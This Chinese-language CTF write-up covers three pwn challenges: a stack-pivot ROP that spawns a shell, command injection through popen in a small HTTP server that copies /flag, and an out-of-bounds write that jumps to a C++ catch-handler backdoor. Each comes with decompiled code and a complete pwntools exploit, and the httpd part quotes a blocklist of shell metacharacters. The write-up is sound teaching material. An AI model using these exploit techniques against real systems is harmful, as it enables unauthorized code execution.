
先挑几个简单的复现一下,因为堆都没怎么学过,就先不复现了,等以后学明白了再去研究。
pstack
Information
- Category: Pwn
- Points: Unknown
Description
Unknown
Write-up
看上去就是签到题,0x10 字节栈溢出,而且给了 rdi gadget,那还不简单?
回想起我最近打的比赛,签到也基本都是栈迁移,可是没一个是有 rdi gadget 的……
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, ROP, args, context, flat, process, raw_input, remote, u64,)
FILE = "./pwn_patched"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./libc.so.6")rop = ROP(elf)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
read = 0x4006C4 payload = flat( b"A" * 0x30, elf.bss() + 0x500, read, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.sym["vuln"], b"B" * 0x10, 0x6014D8, rop.leave.address, ) # raw_input("DEBUG") target.send(payload) target.recvuntil(b"overflow?\x0a") puts = u64(target.recvline().strip().ljust(0x8, b"\x00")) libc.address = puts - libc.sym["puts"] target.success(hex(libc.address))
payload = flat( b"C" * 0x30, elf.bss() + 0xF00, read, rop.rdi.address, next(libc.search(b"/bin/sh\x00")), libc.sym["system"], b"D" * 0x18, 0x601ED8, rop.leave.address, ) target.send(payload)
target.interactive()
if __name__ == "__main__": main()
httpd
Information
- Category: Pwn
- Points: Unknown
Description
Unknown
Write-up
粗略逆向分析了一下,直接全贴上来好了,反正基本就一个 main 函数:
// bad sp value at call has been detected, the output may be wrong!int __cdecl main(int argc, const char **argv, const char **envp){ int fd_1; // eax int fd_2; // eax int result; // eax int fd2; // eax int fd2_1; // eax struct tm *tp; // eax time_t tv_sec; // edi __off_t st_size; // esi const char *text_html; // eax struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF char s1_2[4]; // [esp+Ch] [ebp-14130h] BYREF char p_n47_1[4]; // [esp+10h] [ebp-1412Ch] BYREF char s1_3[4]; // [esp+14h] [ebp-14128h] BYREF int v16; // [esp+18h] [ebp-14124h] BYREF char v17; // [esp+1Ch] [ebp-14120h] BYREF char *haystack; // [esp+20h] [ebp-1411Ch] int i; // [esp+24h] [ebp-14118h] size_t v20; // [esp+28h] [ebp-14114h] char *v21; // [esp+2Ch] [ebp-14110h] char *v22; // [esp+30h] [ebp-1410Ch] int fd; // [esp+34h] [ebp-14108h] int fd_3; // [esp+38h] [ebp-14104h] FILE *stream; // [esp+3Ch] [ebp-14100h] int i_1; // [esp+40h] [ebp-140FCh] FILE *stream_1; // [esp+44h] [ebp-140F8h] int c; // [esp+48h] [ebp-140F4h] struct stat buf; // [esp+4Ch] [ebp-140F0h] BYREF char modes[2]; // [esp+A6h] [ebp-14096h] BYREF char s_3[16]; // [esp+A8h] [ebp-14094h] BYREF char s_2[116]; // [esp+B8h] [ebp-14084h] BYREF char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF char request[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF char method[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF char path[10000]; // [esp+56C0h] [ebp-EA7Ch] BYREF char version[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF char s_1[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF __int64 v40; // [esp+12FE4h] [ebp-1158h] char *v41; // [esp+12FECh] [ebp-1150h] int v42; // [esp+1312Ch] [ebp-1010h] BYREF unsigned int v43; // [esp+14120h] [ebp-1Ch] int *p_argc; // [esp+1412Ch] [ebp-10h]
p_argc = &argc; while ( &v42 != (int *)v33 ) ; v43 = __readgsdword(0x14u); memset(&v33[884], 0, 1024); v20 = 0; strcpy(modes, "r"); if ( chdir("/home/ctf/html") < 0 ) response((status *)&elf_gnu_hash_bitmask_nwords, (int)"Internal Error", 0, "Config error - couldn't chdir()."); if ( !fgets(request, 10000, stdin) ) response(&status_, (int)"Bad Request", 0, "No request found."); if ( __isoc99_sscanf(request, "%[^ ] %[^ ] %[^ ]", method, path, version) != 3 ) response(&status_, (int)"Bad Request", 0, "Can't parse request."); if ( !fgets(request, 10000, stdin) ) response(&status_, (int)"Bad Request", 0, "Missing Host."); v21 = strstr(request, "Host: "); if ( !v21 ) response(&status_, (int)"Bad Request", 0, "Missing Host."); v22 = strstr(v21 + 6, "\r\n"); if ( v22 ) { *v22 = 0; } else { v22 = strchr(v21 + 6, (int)"\n"); if ( v22 ) *v22 = 0; } if ( strlen(v21 + 6) <= 7 ) response(&status_, (int)"Bad Request", 0, "Host len error."); if ( v21 == (char *)-6 || !v21[6] ) response(&status_, (int)"Bad Request", 0, "Host fmt error."); v41 = &v17; HIDWORD(v40) = &v16; __isoc99_sscanf(v21 + 6, "%d.%d.%d.%d%c", s1_2, p_n47_1, s1_3); if ( !fgets(request, 10000, stdin) ) response(&status_, (int)"Bad Request", 0, "Missing Content-Length."); v21 = strstr(request, "Content-Length: "); if ( !v21 ) response(&status_, (int)"Bad Request", 0, "Missing Content-Length."); v22 = strstr(v21 + 16, "\r\n"); if ( v22 ) { *v22 = 0; } else { v22 = strchr(v21 + 16, (int)"\n"); if ( v22 ) *v22 = 0; } if ( strlen(v21 + 16) > 5 ) response(&status_, (int)"Bad Request", 0, "Content-Length len too long."); if ( strcasecmp(method, "get") ) response( (status *)((char *)&elf_gnu_hash_bitmask_nwords + 1), (int)"Not Implemented", 0, "That method is not implemented."); if ( strncmp(version, "HTTP/1.0", 8u) ) response(&status_, (int)"Bad Request", 0, "Bad protocol."); if ( path[0] != '/' ) response(&status_, (int)"Bad Request", 0, "Bad filename."); haystack = &path[1]; sub_25DE(&path[1], &path[1]); if ( !*haystack ) haystack = "./"; v20 = strlen(haystack); if ( *haystack == '/' || !strcmp(haystack, "..") || !strncmp(haystack, "../", 3u) || strstr(haystack, "/../") || !strcmp(&haystack[v20 - 3], "/..") ) { response(&status_, (int)"Bad Request", 0, "Illegal filename."); } if ( !check(haystack) ) response((status *)&status_.state, (int)"Not Found", 0, "Invalid file name."); fd_1 = fileno(stdout); fd = dup(fd_1); fd_2 = fileno(stderr); fd_3 = dup(fd_2); freopen("/dev/null", "w", stdout); freopen("/dev/null", "w", stderr); stream = popen(haystack, modes); if ( stream ) { pclose(stream); fd2 = fileno(stdout); dup2(fd, fd2); fd2_1 = fileno(stderr); dup2(fd_3, fd2_1); close(fd); close(fd_3); if ( stat(haystack, &buf) < 0 ) response((status *)&status_.state, (int)"Not Found", 0, "File not found."); if ( (buf.st_mode & 0xF000) == 0x4000 ) { if ( haystack[v20 - 1] != '/' ) { snprintf(s_1, 0x4E20u, "Location: %s/", path); response((status *)((char *)&dword_12C + 2), (int)"Found", (int)s_1, "Directories must end with a slash."); } snprintf(file, 0x4E20u, "%sindex.html", haystack); if ( stat(file, &buf) < 0 ) { sub_23D9(&status__0, "Ok", 0, (int)"text/html", -1, buf.st_mtim.tv_sec); i_1 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort); if ( i_1 >= 0 ) { for ( i = 0; i < i_1; ++i ) { sub_2704(s_2, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name); snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name); if ( lstat(file, &buf) >= 0 ) { tp = localtime(&buf.st_mtim.tv_sec); strftime(s_3, 0x10u, "%d%b%Y %H:%M", tp); printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", s_2, namelist[i]->d_name, s_3, (__int64)buf.st_size); sub_20C6(file); } else { printf("<a href=\"%s\">%-32.32s</a> ???\n", s_2, namelist[i]->d_name); } printf( "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n", "https://2024ycb.dasctf.com/", "YCB2024"); } } else { perror("scandir"); } goto LABEL_74; } haystack = file; } stream_1 = fopen(haystack, "r"); if ( !stream_1 ) response((status *)((char *)&status_.mon_name + 3), (int)"Forbidden", 0, "File is protected."); tv_sec = buf.st_mtim.tv_sec; st_size = buf.st_size; text_html = sub_2566(haystack); sub_23D9(&status__0, "Ok", 0, (int)text_html, st_size, tv_sec); while ( 1 ) { c = getc(stream_1); if ( c == -1 ) break; putchar(c); }LABEL_74: fflush(stdout); exit(0); } result = -1; if ( v43 != __readgsdword(0x14u) ) sub_2A70(); return result;}
首先它得确保运行在 /home/ctf/html
,所以我们先要创建这个目录,并且取保自己有访问权限。之后程序读取请求,通过 __isoc99_sscanf(request, "%[^ ] %[^ ] %[^ ]", method, path, version) != 3
将我们的请求以空格分成了 <method> <path> <version>
三部分,缺一不可。然后读取请求主机,必须是 Host:
开头,后面的 IP 也有指定格式,不符合的话就会 abort 。然后读取 Content-Length
,也是类似的逻辑,没啥好说的。吐槽一下这个实现真的是非常地 tiny 啊,Content-Length 居然是通过字符串长度来判断的,而非大小。
之后会判断请求类型,我们发现它只实现了 GET
类型,协议版本只有 HTTP/1.0
,路径必须以 /
开始。
然后是有几个路径检测,过滤掉了一些非法访问,并且做了一个简单的字符检测,过滤掉了一些非法字符:
_BOOL4 __cdecl check(char *haystack){ _BOOL4 result; // eax char needle[3]; // [esp+15h] [ebp-13h] BYREF char bin[4]; // [esp+18h] [ebp-10h] BYREF unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u); strcpy(needle, "sh"); strcpy(bin, "bin"); if ( strchr(haystack, '&') ) { result = 0; } else if ( strchr(haystack, '|') ) { result = 0; } else if ( strchr(haystack, ';') ) { result = 0; } else if ( strchr(haystack, '$') ) { result = 0; } else if ( strchr(haystack, '{') ) { result = 0; } else if ( strchr(haystack, '}') ) { result = 0; } else if ( strchr(haystack, '`') ) { result = 0; } else if ( strstr(haystack, needle) ) { result = 0; } else { result = strstr(haystack, bin) == 0; } if ( v4 != __readgsdword(0x14u) ) sub_2A70(); return result;}
如果这些检测都没问题,就把 stdout 和 stderr 重定向到了 /dev/null
,相当于关闭了这两个输出。虽然不理解为什么要这么做,但是结合后面的代码,思考了一下感觉可能是为了隐藏 popen 的输出?总之做完后的评价就是:迷惑行为。
然后是利用点,我们看到 stream = popen(haystack, modes)
,简单来说就是 popen 会将 haystack
作为 shell 指令,创建一个子进程去执行它。那不就是任意代码执行吗?不过 check 函数已经过滤了 /bin/sh
,我们不能直接返回 shell,只能用规则内的字符去构造指令。
继续往下看,整个 if ( stream )
里面的代码除了恢复了 stdout 和 stderr 外,基本上都没啥用。无非就是判断文件是否存在,逐一列出目录下的文件之类的……属于是一大坨障眼法。虽然现在说的轻松,但是实际上做题的时候可没这么想,做的时候老仔细了,所以也老容易掉到坑里哈哈哈。问题不大,如何快速定位漏洞,快速逆向分析一个程序的经验不就是这样慢慢积累起来的吗?做完题总会有不少感触,而这些感触慢慢地就会变成你的实力。
有一个很重要的点是,在 popen 之前,haystack = &path[1]
,跳过了第一个字符 /
,直接从第二个字符开始,所以我们完全不用担心指令以 /
开头导致什么都做不了。
没完呢,继续往下看,我们发现,如果进入了 stat(haystack, &buf) < 0
的话,那后面的 (buf.st_mode & 0xF000) == 0x4000
肯定就进不去了,直接跳到末尾,执行 stream_1 = fopen(haystack, "r")
,输出打开的文件的信息,并且进入 while 循环逐字节输出文件内容。
至此,整个程序的逻辑就已经摸的差不多了。因为我们可以直接读取文件内容,那为何不直接将 flag 复制到当前目录下,然后再发送读取的请求,让它输出 flag 呢?
唯一值得注意的是,我们使用 cp
指令将 flag 复制过来,指令之中必定会包含空格。由于这个程序是按标准的 HTTP 协议实现的 tiny server,我们直接查一下空格在 URL 中的转义字符,知道是 %20
,如果是实现了自定义协议,那我们就得深入逆向它的子函数了……想想都觉得麻烦……
Exploit
#!/usr/bin/env python3
from pwn import ( args, context, flat, process, remote,)
FILE = "./httpd"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
payload = flat( b"GET /cp%20/flag%20. HTTP/1.0\n", b"Host: 127.0.0.1\n", b"Content-Length: 0\n", ) target.send(payload) target.recvall() target.close()
launch() payload = flat( b"GET /flag HTTP/1.0\n", b"Host: 127.0.0.1\n", b"Content-Length: 0\n", ) target.send(payload)
target.interactive()
if __name__ == "__main__": main()
logger
Information
- Category: Pwn
- Points: Unknown
Description
Unknown
Write-up
先看下面的 trace 功能:
unsigned __int64 trace(){ int i; // [rsp+Ch] [rbp-24h] int j; // [rsp+Ch] [rbp-24h] int n8; // [rsp+10h] [rbp-20h] __int16 choice; // [rsp+26h] [rbp-Ah] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u); printf("\nYou can record log details here: "); fflush(stdout); for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i ) ; if ( i <= 8 ) { byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10u)] = 0; printf("Do you need to check the records? "); fflush(stdout); choice = 0; __isoc99_scanf("%1s", &choice); if ( (_BYTE)choice == 'y' || (_BYTE)choice == 'Y' ) { n8 = 8; for ( j = 0; j <= 8 && byte_404020[16 * j] && n8; ++j ) { printf("\x1B[31mRecord%d. %.16s\x1B[0m", j + 1, &byte_404020[16 * j]); --n8; } } else if ( (_BYTE)choice != 'n' && (_BYTE)choice != 'N' ) { puts("Invalid input. Please enter 'y' or 'n'."); exit(0); } } else { puts("Records have been filled :("); } return v5 - __readfsqword(0x28u);}
12 行的 for 循环用来计算索引,按 16 字节访问 byte_404020
,只要 i <= 8 && byte_404020[16 * i]
就增加 i
的值。感觉 i <= 8
有点奇怪,不管如何,先计算一下这个函数可以返回多大的索引呢?应该是 9。
.data:0000000000404020 ; char byte_404020[128].data:0000000000404020 byte_404020 db 0, 0Ah, 7Eh dup(0) ; DATA XREF: trace+58↑o.data:0000000000404020 ; trace+9F↑o ....data:00000000004040A0 ; char src[].data:00000000004040A0 src db 'Buffer Overflow',0 ; DATA XREF: warn+F0↑o.data:00000000004040A0 ; warn+165↑o
可是查看 byte_404020
发现,人家按 16 字节访问的话最多只能访问 8 个元素,那我们访问第九个元素就会得到 src
的内容。存在一个 OOB。
如果 i <= 8
的话,进入 if,紧接着 byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10u)] = 0
以前面得到的索引乘以十六加上基地址,定位到下一项,加上 read 读取到的字节数,并将那个位置的值置零,相当于就是手动设置 NULL 的一体版本。与此同时,read 写入的是下一项。
我们可以先研究研究怎么控制 src 的内容。已知前八项应该是可以合法写入的,那我们先写 8 项,然后如何写入第九项呢?虽然我是调试出来的,但是也可以直接分析代码。由于计算索引使用的条件是 i <= 8 && byte_404020[16 * i]
,然后才会增加索引值。注意到后半部分,判断 byte_404020[16 * i]
处的单个字节是否不为 0,如果这个字节为 0 的话,这个判断就会失败,索引值不会被增加。
如果第八项数据我们写满 16 字节,那它就会把第九项数据处的第一个字节设置为 NULL,那么此时我们再次使用 trace 输入第九项数据,它会先依次遍历每一个已写入的元素,得到索引 7,然后发现 byte_404020[16 * i]
为 0,故将索引加一变成 8。此时我们就控制了第九项的值。
天,为啥写个 OOB 分析写那么详细……好像很多佬的博客都写的很简略的……我可真是大好人啊(bushi
嗯……那么第一部分分析就到此结束了。然后看 warn 功能:
unsigned __int64 warn(){ unsigned __int64 len; // rax _QWORD *exception; // rax __int64 v3; // [rsp+8h] [rbp-78h] char buf[16]; // [rsp+10h] [rbp-70h] BYREF char date[8]; // [rsp+20h] [rbp-60h] BYREF __int64 v6; // [rsp+28h] [rbp-58h] __int64 v7; // [rsp+30h] [rbp-50h] __int64 v8; // [rsp+38h] [rbp-48h] char date_1[8]; // [rsp+40h] [rbp-40h] BYREF __int64 v10; // [rsp+48h] [rbp-38h] __int64 v11; // [rsp+50h] [rbp-30h] __int64 v12; // [rsp+58h] [rbp-28h] unsigned __int64 v13; // [rsp+68h] [rbp-18h]
v13 = __readfsqword(0x28u); memset_w(buf); *(_QWORD *)date = 0; v6 = 0; v7 = 0; v8 = 0; set_time(date, 0x20u); printf("\n\x1B[1;31m%s\x1B[0m\n", date); printf("[!] Type your message here plz: "); fflush(stdout); len = read(0, buf, 256u); // buffer overflow HIBYTE(v3) = HIBYTE(len); buf[len - 1] = 0; if ( len > 0x10 ) { memcpy(dest_0, buf, sizeof(dest_0)); strcpy(dest, src); // "Buffer Overflow" strcpy(&dest[strlen(dest)], ": "); strncat(dest, dest_0, 0x100u); puts(dest); exception = __cxa_allocate_exception(8u); *exception = src; // "Buffer Overflow" __cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0); } memcpy(dest_1, buf, sizeof(dest_1)); *(_QWORD *)date_1 = 0; v10 = 0; v11 = 0; v12 = 0; set_time(date_1, 0x20u); printf("[User input log]\nMessage: %s\nDone at %s\n", dest_1, date_1); sub_401CCA(buf); return v13 - __readfsqword(0x28u);}
注意到这里将读取 256 字节数据,然后根据 read 的返回值是否大于 16 判断是否发生了溢出。忽略中间代码,直接看异常处理部分。根据前面的分析,我们知道 src 保存的就是第九项的数据,而这一项我们已经可以控制为任意值。如果 warn 检测到 BOF,就会 throw src
,类型为 char const*
。但是我们注意到 IDA 对 try catch
的反编译支持好像有些问题,我们看不到 try,可看不到 catch,只能看到它抛出异常。因此这里我们需要切换到汇编视图去查看 catch 的逻辑。
其实发现反汇编试图是可以看见 try catch 的,由于程序有好几处 try catch 逻辑,下面我只贴出需要重点关注的地方:
虽然感觉 IDA 的 graph view 很帅,但还是让我们看 text view 吧(

.text:0000000000401B8F ; =============== S U B R O U T I N E =======================================.text:0000000000401B8F.text:0000000000401B8F ; Attributes: bp-based frame.text:0000000000401B8F.text:0000000000401B8F ; void __noreturn sub_401B8F().text:0000000000401B8F sub_401B8F proc near.text:0000000000401B8F.text:0000000000401B8F command = qword ptr -18h.text:0000000000401B8F var_8 = qword ptr -8.text:0000000000401B8F.text:0000000000401B8F ; __unwind { // __gxx_personality_v0.text:0000000000401B8F 000 endbr64.text:0000000000401B93 000 push rbp.text:0000000000401B94 008 mov rbp, rsp.text:0000000000401B97 008 push rbx.text:0000000000401B98 010 sub rsp, 18h.text:0000000000401B9C 028 mov edi, 8 ; thrown_size.text:0000000000401BA1 028 call ___cxa_allocate_exception.text:0000000000401BA6 028 lea rdx, aEchoHelloYcbCt ; "echo Hello, YCB ctfer!".text:0000000000401BAD 028 mov [rax], rdx.text:0000000000401BB0 028 mov edx, 0 ; void (*)(void *).text:0000000000401BB5 028 mov rcx, cs:_ZTIPKc_ptr.text:0000000000401BBC 028 mov rsi, rcx ; lptinfo.text:0000000000401BBF 028 mov rdi, rax ; exception.text:0000000000401BC2 ; try {.text:0000000000401BC2 028 call ___cxa_throw.text:0000000000401BC2 ; } // starts at 401BC2.text:0000000000401BC7 ; ---------------------------------------------------------------------------.text:0000000000401BC7 ; catch(char const*) // owned by 401BC2.text:0000000000401BC7 028 endbr64.text:0000000000401BCB 028 cmp rdx, 1.text:0000000000401BCF 028 jz short loc_401BD9.text:0000000000401BD1 028 mov rdi, rax ; struct _Unwind_Exception *.text:0000000000401BD4 028 call __Unwind_Resume.text:0000000000401BD9 ; ---------------------------------------------------------------------------.text:0000000000401BD9.text:0000000000401BD9 loc_401BD9: ; CODE XREF: sub_401B8F+40↑j.text:0000000000401BD9 028 mov rdi, rax ; void *.text:0000000000401BDC 028 call ___cxa_begin_catch.text:0000000000401BE1 028 mov [rbp+command], rax.text:0000000000401BE5 028 mov rax, [rbp+command].text:0000000000401BE9 028 mov rsi, rax.text:0000000000401BEC 028 lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"....text:0000000000401BF3 028 mov rdi, rax ; format.text:0000000000401BF6 028 mov eax, 0.text:0000000000401BFB ; try {.text:0000000000401BFB 028 call _printf.text:0000000000401C00 028 mov rax, [rbp+command].text:0000000000401C04 028 mov rdi, rax ; command.text:0000000000401C07 028 call _system.text:0000000000401C07 ; } // starts at 401BFB.text:0000000000401C0C 028 nop.text:0000000000401C0D 028 call ___cxa_end_catch.text:0000000000401C12 028 jmp short loc_401C2B.text:0000000000401C14 ; ---------------------------------------------------------------------------.text:0000000000401C14 ; cleanup() // owned by 401BFB.text:0000000000401C14 000 endbr64.text:0000000000401C18 000 mov rbx, rax.text:0000000000401C1B 000 call ___cxa_end_catch.text:0000000000401C20 000 mov rax, rbx.text:0000000000401C23 000 mov rdi, rax ; struct _Unwind_Exception *.text:0000000000401C26 000 call __Unwind_Resume.text:0000000000401C2B ; ---------------------------------------------------------------------------.text:0000000000401C2B.text:0000000000401C2B loc_401C2B: ; CODE XREF: sub_401B8F+83↑j.text:0000000000401C2B 028 mov rbx, [rbp+var_8].text:0000000000401C2F 028 leave.text:0000000000401C30 000 retn.text:0000000000401C30 ; } // starts at 401B8F.text:0000000000401C30 sub_401B8F endp
我们注意到上面这个 sub_401B8F
函数的 catch 逻辑中有隐藏后门,它将 rbp+command
处的值作为 rdi,调用 system。如果我们控制这个值为 /bin/sh
的话,我们就可以 get shell。于此同时,最重要的是,这个后门 catch handler 是属于 catch(char const*)
的,和我们抛出的 src 类型一样,所以如果我们返回到这个 handler,是可以执行的。
经过调试发现,这个 rbp+command
其实就是第九项的内容,那么我们只要将第九项修改为 /bin/sh
,然后返回到含有后门的 catch handler 起始地址即可。由于没开 PIE,所以可以直接通过 IDA 确定地址。为了方便查看,catch handler 的地址我在上面用绿色标记了,免得大家不知道 exp 中的魔数是哪里来的。
最后,这是我第一次学习 C 艹 异常处理 pwn,写的也不是很详细。后续我会单独写一篇,也可能是几篇博客从头再梳理一下这方面的利用思路。这几天就会开工,到时候加入到 Beyond Basics: The Dark Arts of Binary Exploitation 里,从此我收录的技巧也开始变得高级起来~
Exploit
#!/usr/bin/env python3
from pwn import ( args, context, flat, process, raw_input, remote,)
FILE = "./patched"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def trace(log_details, check): target.sendlineafter(b"Your chocie:", b"1") target.sendlineafter(b"You can record log details here: ", log_details) target.sendlineafter(b"Do you need to check the records? ", check)
def warn(msg): target.sendlineafter(b"Your chocie:", b"2") target.sendlineafter(b"[!] Type your message here plz: ", msg)
def exit(): target.sendlineafter(b"Your chocie:", b"3")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
trace(b"A" * 0x8, b"y") trace(b"A" * 0x8, b"y") trace(b"A" * 0x8, b"y") trace(b"A" * 0x8, b"y") trace(b"A" * 0x8, b"y") trace(b"A" * 0x8, b"y") trace(b"A" * 0x8, b"y") raw_input("DEBUG") trace(b"A" * 0x10, b"y") trace(b"/bin/sh\x00", b"y")
payload = flat( b"A" * 0x70, elf.bss(), 0x401BC7, ) warn(payload)
target.interactive()
if __name__ == "__main__": main()